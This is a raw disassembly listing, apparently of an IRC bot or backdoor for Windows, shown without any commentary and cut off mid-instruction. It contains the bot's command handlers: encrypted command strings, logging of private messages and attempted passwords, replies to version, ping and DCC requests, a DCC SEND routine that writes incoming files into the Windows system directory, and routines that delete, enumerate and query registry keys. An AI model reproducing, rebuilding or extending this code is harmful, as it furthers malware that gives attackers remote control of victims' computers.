loc_42057C: ; CODE XREF: sub_42045F+D0j call sub_41DB58 mov esi, dword_437178 push eax push dword ptr [ebx+0Ch] call esi ; dword_437178 test eax, eax jnz short loc_4205DB mov ecx, edi call sub_41C7A8 test eax, eax lea eax, [ebp+var_660] push eax push dword ptr [ebx+8] push dword ptr [ebx+4] push dword ptr [ebx] push offset aShktk1eNl8Jlzt ; "sHKtk1e/Nl8/jLZte1JtI/t1" push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1" push offset aSSSS@SSentPmS ; "%s %s %s!%s@%s (Sent PM -> \"%s\")" loc_4205B8: ; CODE XREF: sub_42045F+217j jz short loc_4205C8 push edi call sub_41C844 add esp, 20h jmp loc_420AB0 ; --------------------------------------------------------------------------- loc_4205C8: ; CODE XREF: sub_42045F:loc_4205B8j push offset dword_443F34 push edi call sub_41CE4A add esp, 24h jmp loc_420AB0 ; --------------------------------------------------------------------------- loc_4205DB: ; CODE XREF: sub_42045F+130j push [ebp+var_15C] push offset aDehziSaO0 ; "deHZI/SA//o0" call esi ; dword_437178 test eax, eax jnz short loc_420575 cmp [ebp+var_158], eax jz loc_420AB0 push dword ptr [ebx+8] lea eax, [ebp+var_25C] push dword ptr [ebx+4] push dword ptr [ebx] push offset aSS@S ; "%s!%s@%s" push 100h push eax call sub_429BBE and [ebp+arg_4], 0 add esp, 18h cmp dword_445D24, 0 jle short loc_420650 loc_420626: ; CODE XREF: sub_42045F+1EFj lea eax, [ebp+var_25C] push eax mov eax, [ebp+arg_4] push off_443F00[eax*4] call sub_427B4E pop ecx test eax, eax pop ecx jnz short loc_42067B inc [ebp+arg_4] mov eax, [ebp+arg_4] cmp eax, dword_445D24 jl short loc_420626 loc_420650: ; CODE XREF: sub_42045F+1C5j ; sub_42045F+232j mov ecx, edi call sub_41C7A8 push [ebp+var_158] test eax, eax push dword ptr [ebx+8] push dword ptr [ebx+4] push dword ptr [ebx] push offset aZcm1__num3n0oe ; "ZcM1..nUM3N0OE819.1TEYD." push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1" push offset aSSSS@SPassTrie ; "%s %s [%s!%s@%s] (Pass Tried -> %s)" jmp loc_4205B8 ; --------------------------------------------------------------------------- loc_42067B: ; CODE XREF: sub_42045F+1E1j push [ebp+var_158] call sub_4155AA pop ecx push eax push offset dword_443E68 call esi ; dword_437178 test eax, eax jnz short loc_420650 push dword ptr [ebx+8] mov ecx, edi push dword ptr [ebx+4] push dword ptr [ebx] call sub_41C600 cmp eax, 0FFFFFFFFh mov esi, offset aSS_1 ; "%s %s" mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" jnz short loc_4206EF cmp [ebp+var_5C], 0 jnz short loc_4206D2 cmp [ebp+var_58], 0 jnz short loc_4206DC push offset aMkk0_mvscp_hwh ; "mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp"... push edi push esi push dword ptr [ebx+0Ch] push [ebp+arg_8] call sub_41CE4A add esp, 14h loc_4206D2: ; CODE XREF: sub_42045F+256j cmp [ebp+var_58], 0 jz loc_420AB0 loc_4206DC: ; CODE XREF: sub_42045F+25Cj push offset aMkk0_mvscp_hwh ; "mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp"... push edi push esi push dword ptr [ebx] push [ebp+arg_8] call sub_41CE4A jmp short loc_42072B ; --------------------------------------------------------------------------- loc_4206EF: ; CODE XREF: sub_42045F+250j cmp [ebp+var_5C], 0 jnz short loc_420710 cmp [ebp+var_58], 0 jnz short loc_42071A push offset aQvp40nd9f2 ; "/qvP40nD9F2/" push edi push esi push dword ptr [ebx+0Ch] push [ebp+arg_8] call sub_41CE4A add esp, 14h loc_420710: ; CODE XREF: sub_42045F+294j cmp [ebp+var_58], 0 jz loc_420AB0 loc_42071A: ; CODE XREF: sub_42045F+29Aj push offset aQvp40nd9f2 ; "/qvP40nD9F2/" push edi push esi push dword ptr [ebx] push [ebp+arg_8] call sub_41CDD4 loc_42072B: ; CODE XREF: sub_42045F+28Ej add esp, 14h jmp loc_420AB0 ; --------------------------------------------------------------------------- loc_420733: ; CODE XREF: sub_42045F+70j mov edi, [ebp+arg_8] mov ecx, edi call sub_41DB58 mov esi, [ebp+arg_4] mov ebx, dword_437178 push eax push dword ptr [esi+0Ch] call ebx ; dword_437178 test eax, eax jnz loc_420AB0 push [ebp+var_15C] push offset dword_44DDA8 call ebx ; dword_437178 test eax, eax jnz short loc_4207AF push offset dword_4439BC push offset dword_44DD98 push dword ptr [esi] push edi call sub_41CDD4 add esp, 10h mov ecx, edi push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] call sub_41C755 test eax, eax jnz loc_420AB0 mov ecx, edi call sub_41C7A8 push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1" push offset aSVersionReques ; "%s Version request from: %s!%s@%s" jmp loc_420A93 ; --------------------------------------------------------------------------- loc_4207AF: ; CODE XREF: sub_42045F+304j push [ebp+var_15C] push offset dword_44DD6C call ebx ; dword_437178 test eax, eax jnz loc_420A30 push dword ptr [esi+8] mov ecx, edi push dword ptr [esi+4] push dword ptr [esi] call sub_41C755 test eax, eax jnz short loc_4207F5 mov ecx, edi call sub_41C7A8 push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1" push offset aSDccRequestFro ; "%s DCC request from: %s!%s@%s" jmp loc_420A93 ; --------------------------------------------------------------------------- loc_4207F5: ; CODE XREF: sub_42045F+376j push [ebp+var_158] push offset aSend_0 ; "SEND" call ebx ; dword_437178 test eax, eax jnz loc_420A30 and [ebp+arg_0], eax lea eax, [ebp+var_260] push 104h push eax call dword_4370F4 ; GetSystemDirectoryA push [ebp+var_154] lea eax, [ebp+var_260] push eax lea eax, [ebp+var_260] push offset dword_445D68 push eax call sub_429B03 add esp, 10h lea eax, [ebp+var_260] push 0 push 80h push 2 push 0 push 1 push 40000000h push eax call dword_43705C ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_420875 push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" push offset aSSUnableToWrit ; "%s %s unable to write file to disk." jmp short loc_4208A5 ; --------------------------------------------------------------------------- loc_420875: ; CODE XREF: sub_42045F+403j push eax call dword_437044 ; CloseHandle lea eax, [ebp+var_260] push offset off_44DD1C push eax call sub_42A50C pop ecx mov [ebp+var_4], eax test eax, eax pop ecx jnz short loc_4208B9 push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" push offset aSSOpeningFileF ; "%s %s opening file for writing." loc_4208A5: ; CODE XREF: sub_42045F+414j lea eax, [ebp+var_3D70] push eax call sub_429B03 add esp, 10h jmp loc_4209F8 ; --------------------------------------------------------------------------- loc_4208B9: ; CODE XREF: sub_42045F+435j push [ebp+var_14C] call sub_42A100 push eax push [ebp+var_150] call sub_42629D add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_4], eax jnz short loc_420905 call dword_437170 ; RtlGetLastWin32Error push eax push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" lea eax, [ebp+var_3D70] push offset aSSD ; "%s %s <%d>" push eax call sub_429B03 add esp, 14h jmp loc_4209F8 ; --------------------------------------------------------------------------- loc_420905: ; CODE XREF: sub_42045F+47Aj mov edi, 1000h loc_42090A: ; CODE XREF: sub_42045F+55Ej push edi lea eax, [ebp+var_1660] push 0 push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_1660] push 0 push edi push eax push [ebp+arg_4] call dword_456F58 ; recv mov ebx, eax test ebx, ebx jz loc_4209C2 cmp ebx, 0FFFFFFFFh jnz short loc_420988 call dword_437170 ; RtlGetLastWin32Error push eax push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" lea eax, [ebp+var_3D70] push offset aSSD ; "%s %s <%d>" push eax call sub_429B03 lea eax, [ebp+var_3D70] push eax push offset aS_5 ; "%s" push [ebp+arg_8] call sub_41C844 push [ebp+var_4] call sub_42A10B add esp, 24h push [ebp+arg_4] call dword_456FF0 ; closesocket loc_420988: ; CODE XREF: sub_42045F+4DDj push [ebp+var_4] lea eax, [ebp+var_1660] push ebx push 1 push eax call sub_42C3B3 add [ebp+arg_0], ebx add esp, 10h push [ebp+arg_0] call dword_456F34 ; ntohl mov [ebp+var_8], eax push 0 lea eax, [ebp+var_8] push 4 push eax push [ebp+arg_4] call dword_456F8C ; send jmp loc_42090A ; --------------------------------------------------------------------------- loc_4209C2: ; CODE XREF: sub_42045F+4D4j mov eax, [ebp+arg_0] cdq push edx push eax call sub_427E4F push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_3D70] push [ebp+var_150] push offset aTransferComple ; "Transfer complete from IP: %s, File: %s"... push eax call sub_429B03 mov edi, [ebp+arg_8] mov ebx, dword_437178 add esp, 1Ch loc_4209F8: ; CODE XREF: sub_42045F+455j ; sub_42045F+4A1j lea eax, [ebp+var_3D70] push eax push offset aRccsh_adukf1 ; "RcCSh.AdUKf1" push offset aSS_1 ; "%s %s" push edi call sub_41C844 add esp, 10h cmp [ebp+var_4], 0 jz short loc_420A21 push [ebp+var_4] call sub_42A10B pop ecx loc_420A21: ; CODE XREF: sub_42045F+5B7j cmp [ebp+arg_4], 0 jbe short loc_420A30 push [ebp+arg_4] call dword_456FF0 ; closesocket loc_420A30: ; CODE XREF: sub_42045F+35Fj ; sub_42045F+3A5j ... push [ebp+var_15C] push offset dword_44DCC0 call ebx ; dword_437178 test eax, eax jnz loc_420575 cmp [ebp+var_158], eax jz loc_420575 push [ebp+var_158] push offset dword_44DCB4 push dword ptr [esi] push edi call sub_41CDD4 add esp, 10h mov ecx, edi push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] call sub_41C755 test eax, eax jnz short loc_420AB0 mov ecx, edi call sub_41C7A8 push dword ptr [esi+8] push dword ptr [esi+4] push dword ptr [esi] push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1" push offset aSPingRequestFr ; "%s Ping request from: %s!%s@%s" loc_420A93: ; CODE XREF: sub_42045F+34Bj ; sub_42045F+391j test eax, eax jz short loc_420AA2 push edi call sub_41C844 add esp, 18h jmp short loc_420AB0 ; --------------------------------------------------------------------------- loc_420AA2: ; CODE XREF: sub_42045F+636j push offset dword_443F34 push edi call sub_41CE4A add esp, 1Ch loc_420AB0: ; CODE XREF: sub_42045F+18j ; sub_42045F+9Bj ... xor eax, eax inc eax jmp loc_420577 sub_42045F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420AB8 proc near ; DATA XREF: sub_420D91+29o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edi mov edi, [ebp+arg_8] mov ecx, edi call sub_41DB58 push eax push [ebp+arg_0] call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_420B36 push 2 lea eax, [ebp+var_8] push [ebp+arg_0] push eax call sub_42777F add esp, 0Ch cmp [ebp+var_8], 0 jz short loc_420B36 cmp [ebp+var_4], 0 jz short loc_420B36 push esi mov esi, offset dword_443F14 push esi push [ebp+var_8] call dword_437178 ; lstrcmpiA test eax, eax mov ecx, edi jnz short loc_420B17 push offset off_443F18 push esi call sub_41D09B jmp short loc_420B1F ; --------------------------------------------------------------------------- loc_420B17: ; CODE XREF: sub_420AB8+50j push [ebp+var_8] call sub_41D074 loc_420B1F: ; CODE XREF: sub_420AB8+5Dj mov eax, [ebp+arg_4] push dword ptr [eax] push offset dword_43AB8C push [ebp+var_8] push edi call sub_41CE4A add esp, 10h pop esi loc_420B36: ; CODE XREF: sub_420AB8+1Dj ; sub_420AB8+34j ... xor eax, eax pop edi leave retn sub_420AB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B3B proc near ; DATA XREF: sub_420D91+3Ao var_2A3C = byte ptr -2A3Ch var_32C = byte ptr -32Ch var_12C = dword ptr -12Ch var_2C = byte ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 2A3Ch call sub_429B60 push esi push edi push 2710h lea eax, [ebp+var_2A3C] push [ebp+arg_0] push eax call sub_429D10 lea eax, [ebp+var_2A3C] push 3 push eax lea eax, [ebp+var_C] push eax call sub_42777F add esp, 18h cmp [ebp+var_C], 0 jz loc_420CB0 cmp [ebp+var_8], 0 jz loc_420CB0 mov ecx, [ebp+arg_8] call sub_41DB58 push eax push [ebp+var_C] call dword_437178 ; lstrcmpiA test eax, eax push 10h lea eax, [ebp+var_2C] jnz short loc_420BA7 push [ebp+var_8] jmp short loc_420BAA ; --------------------------------------------------------------------------- loc_420BA7: ; CODE XREF: sub_420B3B+65j push [ebp+var_C] loc_420BAA: ; CODE XREF: sub_420B3B+6Aj push eax call sub_429D10 add esp, 0Ch push 3Ah push [ebp+arg_0] call sub_42B1A0 mov esi, eax pop ecx inc esi pop ecx cmp byte ptr [esi], 2Bh jnz short loc_420C0C push offset asc_44DE08 ; "+" push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_420C0C push esi call sub_4293A0 cmp eax, 6 pop ecx jbe short loc_420C0C push esi call sub_4293A0 dec eax push eax push 1 push esi call sub_4279C6 mov edi, eax add esp, 10h test edi, edi jz short loc_420C0C push edi push offset dword_443EB0 call sub_415641 pop ecx mov esi, edi pop ecx loc_420C0C: ; CODE XREF: sub_420B3B+8Aj ; sub_420B3B+9Bj ... mov edi, offset dword_447730 push edi push esi call sub_429C5E pop ecx xor esi, esi pop ecx mov [ebp+var_12C], eax inc esi loc_420C23: ; CODE XREF: sub_420B3B+101j push edi push 0 call sub_429C5E pop ecx mov [ebp+esi*4+var_12C], eax test eax, eax pop ecx jz short loc_420C3E inc esi cmp esi, 40h jl short loc_420C23 loc_420C3E: ; CODE XREF: sub_420B3B+FBj lea eax, [ebp+var_2C] xor edi, edi mov [ebp+var_10], eax mov eax, offset aTopic ; "topic" test esi, esi mov [ebp+var_1C], eax mov [ebp+var_18], eax mov [ebp+var_14], eax jle short loc_420CB0 loc_420C58: ; CODE XREF: sub_420B3B+173j mov eax, [ebp+edi*4+var_12C] test eax, eax jz short loc_420CAB push eax lea eax, [ebp+var_32C] push offset aS_5 ; "%s" push eax call sub_429B03 mov al, [ebp+var_32C] add esp, 0Ch cmp al, byte_4439A0 jnz short loc_420CAB push 1F4h call dword_437190 ; Sleep push 1 push 1 push [ebp+arg_8] lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_32C] push eax call sub_40A935 add esp, 14h loc_420CAB: ; CODE XREF: sub_420B3B+126j ; sub_420B3B+149j inc edi cmp edi, esi jl short loc_420C58 loc_420CB0: ; CODE XREF: sub_420B3B+3Cj ; sub_420B3B+46j ... pop edi xor eax, eax pop esi leave retn sub_420B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420CB6 proc near ; DATA XREF: sub_420D91+89o var_C4 = dword ptr -0C4h var_8 = dword ptr -8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0C4h push esi lea eax, [ebp+arg_8] push edi mov edi, [ebp+arg_8] xor esi, esi push eax lea eax, [ebp+var_C4] push esi push eax push offset loc_41C438 push esi push esi mov [ebp+var_C4], edi mov [ebp+var_8], esi call dword_437180 ; CreateThread jmp short loc_420CF2 ; --------------------------------------------------------------------------- loc_420CEA: ; CODE XREF: sub_420CB6+3Fj push 32h call dword_437190 ; Sleep loc_420CF2: ; CODE XREF: sub_420CB6+32j cmp [ebp+var_8], esi jz short loc_420CEA mov ecx, edi call sub_41DB58 push eax mov ecx, edi call sub_41CF25 push offset byte_457F6C mov ecx, edi call sub_41D163 push offset off_443F18 push offset dword_443F14 mov ecx, edi call sub_41D09B pop edi xor eax, eax pop esi leave retn sub_420CB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D29 proc near ; DATA XREF: sub_420D91+78o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push esi push 2 push [ebp+arg_0] lea eax, [ebp+var_8] push eax call sub_42777F add esp, 0Ch cmp [ebp+var_8], 0 jz short loc_420D6F cmp [ebp+var_4], 0 jz short loc_420D6F mov esi, offset byte_457F6D push offset byte_454A54 push esi call dword_437178 ; lstrcmpiA test eax, eax jz short loc_420D6F mov ecx, [ebp+arg_8] push 0 push esi push [ebp+var_4] call sub_41D110 loc_420D6F: ; CODE XREF: sub_420D29+1Bj ; sub_420D29+21j ... xor eax, eax pop esi leave retn sub_420D29 endp ; =============== S U B R O U T I N E ======================================= sub_420D74 proc near ; DATA XREF: sub_420D91+B5o arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push 5 push 7 call sub_41D181 mov ecx, [esp+arg_8] push eax call sub_41DB31 xor eax, eax retn sub_420D74 endp ; =============== S U B R O U T I N E ======================================= sub_420D8E proc near ; CODE XREF: sub_43017E+52p ; DATA XREF: sub_420D91+7o xor eax, eax retn sub_420D8E endp ; =============== S U B R O U T I N E ======================================= sub_420D91 proc near ; CODE XREF: sub_418FA1+5A9p arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] push edi push offset sub_420D8E push offset dword_445B40 mov ecx, esi call sub_41C58F push offset sub_42045F push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0" mov ecx, esi call sub_41C58F push offset sub_420AB8 push offset aBwIj0rhpgj1 ; "bw/Ij0rhPgj1" mov ecx, esi call sub_41C58F mov ebx, offset sub_420B3B mov ecx, esi push ebx push offset aFuv1h_fi8sc ; "FuV1H.fi8SC/" call sub_41C58F mov edi, offset sub_41E446 mov ecx, esi push edi push offset aKc4l5_savs3_ ; "KC4L5.sAVS3." call sub_41C58F push edi push offset a302 ; "302" mov ecx, esi call sub_41C58F push ebx push offset a332 ; "332" mov ecx, esi call sub_41C58F push offset sub_420D29 push offset a366 ; "366" mov ecx, esi call sub_41C58F mov edi, offset sub_420CB6 mov ecx, esi push edi push offset a005 ; "005" call sub_41C58F push edi push offset a376 ; "376" mov ecx, esi call sub_41C58F push edi push offset a422 ; "422" mov ecx, esi call sub_41C58F push offset sub_420D74 push offset a433 ; "433" mov ecx, esi call sub_41C58F pop edi pop esi pop ebx retn sub_420D91 endp ; =============== S U B R O U T I N E ======================================= sub_420E5B proc near ; CODE XREF: sub_40A9FE+1485p ; sub_40A9FE+156Fp arg_0 = dword ptr 4 push esi mov esi, dword_437178 push edi mov edi, [esp+8+arg_0] push edi push offset aHkey_local_mac ; "HKEY_LOCAL_MACHINE" call esi ; dword_437178 test eax, eax jz loc_420EFF push edi push offset aHklm ; "HKLM" call esi ; dword_437178 test eax, eax jz short loc_420EFF push edi push offset aHkey_current_u ; "HKEY_CURRENT_USER" call esi ; dword_437178 test eax, eax jz short loc_420EF8 push edi push offset aHkcu ; "HKCU" call esi ; dword_437178 test eax, eax jz short loc_420EF8 push edi push offset aHkey_classes_r ; "HKEY_CLASSES_ROOT" call esi ; dword_437178 test eax, eax jz short loc_420EF1 push edi push offset aHkcr ; "HKCR" call esi ; dword_437178 test eax, eax jz short loc_420EF1 push edi push offset aHkey_current_c ; "HKEY_CURRENT_CONFIG" call esi ; dword_437178 test eax, eax jz short loc_420EEA push edi push offset aHkcc ; "HKCC" call esi ; dword_437178 test eax, eax jz short loc_420EEA push edi push offset aHkey_users ; "HKEY_USERS" call esi ; dword_437178 test eax, eax jz short loc_420EE3 push edi push offset off_44DE30 call esi ; dword_437178 test eax, eax jnz short loc_420EFF loc_420EE3: ; CODE XREF: sub_420E5B+7Aj mov eax, 80000003h jmp short loc_420F04 ; --------------------------------------------------------------------------- loc_420EEA: ; CODE XREF: sub_420E5B+62j ; sub_420E5B+6Ej mov eax, 80000005h jmp short loc_420F04 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420E5B+4Aj ; sub_420E5B+56j mov eax, 80000000h jmp short loc_420F04 ; --------------------------------------------------------------------------- loc_420EF8: ; CODE XREF: sub_420E5B+32j ; sub_420E5B+3Ej mov eax, 80000001h jmp short loc_420F04 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420E5B+16j ; sub_420E5B+26j ... mov eax, 80000002h loc_420F04: ; CODE XREF: sub_420E5B+8Dj ; sub_420E5B+94j ... pop edi pop esi retn sub_420E5B endp ; =============== S U B R O U T I N E ======================================= sub_420F07 proc near ; CODE XREF: sub_421126+158p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 4 ja short loc_420F3E jz short loc_420F38 sub eax, 0 jz short loc_420F32 dec eax jz short loc_420F2C dec eax jz short loc_420F26 dec eax jnz short loc_420F4E mov eax, offset aReg_binary ; "REG_BINARY" retn ; --------------------------------------------------------------------------- loc_420F26: ; CODE XREF: sub_420F07+14j mov eax, offset aReg_expand_sz ; "REG_EXPAND_SZ" retn ; --------------------------------------------------------------------------- loc_420F2C: ; CODE XREF: sub_420F07+11j mov eax, offset aReg_sz ; "REG_SZ" retn ; --------------------------------------------------------------------------- loc_420F32: ; CODE XREF: sub_420F07+Ej mov eax, offset aReg_none ; "REG_NONE" retn ; --------------------------------------------------------------------------- loc_420F38: ; CODE XREF: sub_420F07+9j mov eax, offset aReg_dword ; "REG_DWORD" retn ; --------------------------------------------------------------------------- loc_420F3E: ; CODE XREF: sub_420F07+7j sub eax, 5 jz short loc_420F66 dec eax jz short loc_420F60 dec eax jz short loc_420F5A sub eax, 4 jz short loc_420F54 loc_420F4E: ; CODE XREF: sub_420F07+17j mov eax, offset aUnknown_0 ; "UNKNOWN" retn ; --------------------------------------------------------------------------- loc_420F54: ; CODE XREF: sub_420F07+45j mov eax, offset aReg_qword ; "REG_QWORD" retn ; --------------------------------------------------------------------------- loc_420F5A: ; CODE XREF: sub_420F07+40j mov eax, offset aReg_multi_sz ; "REG_MULTI_SZ" retn ; --------------------------------------------------------------------------- loc_420F60: ; CODE XREF: sub_420F07+3Dj mov eax, offset aReg_link ; "REG_LINK" retn ; --------------------------------------------------------------------------- loc_420F66: ; CODE XREF: sub_420F07+3Aj mov eax, offset aReg_dword_big_ ; "REG_DWORD_BIG_ENDIAN" retn sub_420F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420F6C proc near ; CODE XREF: sub_418FA1+B4p ; sub_420F6C+A8p ... var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx xor ebx, ebx cmp [ebp+arg_4], ebx push esi push edi mov [ebp+var_4], ebx jz loc_42108B cmp [ebp+arg_8], ebx jnz loc_42104D push [ebp+arg_4] push [ebp+arg_0] call dword_456E98 ; RegDeleteKeyA test eax, eax jz loc_421080 push 3Fh xor eax, eax pop ecx lea edi, [ebp+var_10B] mov [ebp+var_10C], bl xor esi, esi rep stosd stosw stosb lea eax, [ebp+var_4] mov [ebp+arg_8], 100h push eax push 2001Fh push ebx push [ebp+arg_4] push [ebp+arg_0] call dword_456FC0 ; RegOpenKeyExA test eax, eax jnz loc_42108B lea eax, [ebp+var_C] push eax push ebx push ebx lea eax, [ebp+arg_8] push ebx push eax lea eax, [ebp+var_10C] push eax push ebx push [ebp+var_4] call dword_456E68 ; RegEnumKeyExA mov edi, 103h jmp short loc_42103B ; --------------------------------------------------------------------------- loc_421003: ; CODE XREF: sub_420F6C+D1j cmp eax, ebx jnz short loc_42103F lea eax, [ebp+var_10C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_420F6C add esp, 0Ch lea ecx, [ebp+var_C] mov eax, esi inc esi push ecx push ebx push ebx lea ecx, [ebp+arg_8] push ebx push ecx lea ecx, [ebp+var_10C] push ecx push eax push [ebp+var_4] call dword_456E68 ; RegEnumKeyExA loc_42103B: ; CODE XREF: sub_420F6C+95j cmp eax, edi jnz short loc_421003 loc_42103F: ; CODE XREF: sub_420F6C+99j push [ebp+arg_4] push [ebp+var_4] call dword_456E98 ; RegDeleteKeyA jmp short loc_42108B ; --------------------------------------------------------------------------- loc_42104D: ; CODE XREF: sub_420F6C+1Dj lea eax, [ebp+var_4] push eax push 2001Fh push ebx push [ebp+arg_4] push [ebp+arg_0] call dword_456FC0 ; RegOpenKeyExA test eax, eax jnz short loc_42108B push [ebp+arg_8] push [ebp+var_4] call dword_456E64 ; RegDeleteValueA push [ebp+var_4] test eax, eax jnz short loc_421085 call dword_456F08 ; RegCloseKey loc_421080: ; CODE XREF: sub_420F6C+31j xor eax, eax inc eax jmp short loc_42108D ; --------------------------------------------------------------------------- loc_421085: ; CODE XREF: sub_420F6C+10Cj call dword_456F08 ; RegCloseKey loc_42108B: ; CODE XREF: sub_420F6C+14j ; sub_420F6C+6Ej ... xor eax, eax loc_42108D: ; CODE XREF: sub_420F6C+117j pop edi pop esi pop ebx leave retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421092 proc near ; CODE XREF: sub_40A7C5+E3p ; sub_40A7C5+F8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push esi push edi mov edi, [ebp+arg_4] xor esi, esi cmp edi, esi mov [ebp+var_4], esi jz short loc_421120 cmp [ebp+arg_8], esi jz short loc_421120 lea eax, [ebp+var_4] push eax push 2001Fh push esi push edi push [ebp+arg_0] call dword_456FC0 ; RegOpenKeyExA test eax, eax jnz short loc_42111C mov eax, [ebp+arg_C] cmp eax, 4 jnz short loc_4210EB lea eax, [ebp+arg_4] mov [ebp+arg_4], esi push eax push [ebp+arg_8] push edi push [ebp+arg_0] call sub_421126 add esp, 10h xor eax, eax cmp [ebp+arg_4], esi setnz al mov esi, eax jmp short loc_421113 ; --------------------------------------------------------------------------- loc_4210EB: ; CODE XREF: sub_421092+35j cmp eax, 1 jz short loc_4210FA cmp eax, 2 jz short loc_4210FA cmp eax, 7 jnz short loc_421113 loc_4210FA: ; CODE XREF: sub_421092+5Cj ; sub_421092+61j push 1 push [ebp+arg_8] push edi push [ebp+arg_0] call sub_421340 mov esi, eax add esp, 10h neg esi sbb esi, esi neg esi loc_421113: ; CODE XREF: sub_421092+57j ; sub_421092+66j push [ebp+var_4] call dword_456F08 ; RegCloseKey loc_42111C: ; CODE XREF: sub_421092+2Dj mov eax, esi jmp short loc_421122 ; --------------------------------------------------------------------------- loc_421120: ; CODE XREF: sub_421092+10j ; sub_421092+15j xor eax, eax loc_421122: ; CODE XREF: sub_421092+8Cj pop edi pop esi leave retn sub_421092 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421126 proc near ; CODE XREF: sub_421092+45p var_604 = byte ptr -604h var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 604h push ebx lea eax, [ebp+var_8] push edi xor ebx, ebx push eax push 0F003Fh push ebx mov edi, 0FAh push [ebp+arg_4] mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_1C], edi push [ebp+arg_0] mov [ebp+var_14], 44Ch mov [ebp+var_20], 80h mov [ebp+var_4], ebx call dword_456FC0 ; RegOpenKeyExA test eax, eax jnz loc_4212C4 lea eax, [ebp+var_30] push esi push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_20] push ebx push eax lea eax, [ebp+var_1B8] push eax push [ebp+var_8] call dword_456EC4 ; RegQueryInfoKeyA cmp [ebp+var_C], ebx mov [ebp+arg_0], ebx jz short loc_421205 xor esi, esi cmp [ebp+var_C], ebx jbe short loc_421205 loc_4211B5: ; CODE XREF: sub_421126+DDj lea eax, [ebp+var_30] mov [ebp+var_1C], edi push eax push ebx push ebx lea eax, [ebp+var_1C] push ebx push eax lea eax, [ebp+var_138] push eax push esi push [ebp+var_8] call dword_456E68 ; RegEnumKeyExA test eax, eax jnz short loc_4211FC lea eax, [ebp+var_138] push eax lea eax, [esi+1] push [ebp+arg_4] push eax push offset a_2dSS ; "(%.2d) %s\\%s" push [ebp+arg_8] push [ebp+arg_C] call sub_41CE4A add esp, 18h inc [ebp+var_4] loc_4211FC: ; CODE XREF: sub_421126+B0j inc esi inc [ebp+arg_0] cmp esi, [ebp+var_C] jb short loc_4211B5 loc_421205: ; CODE XREF: sub_421126+86j ; sub_421126+8Dj cmp 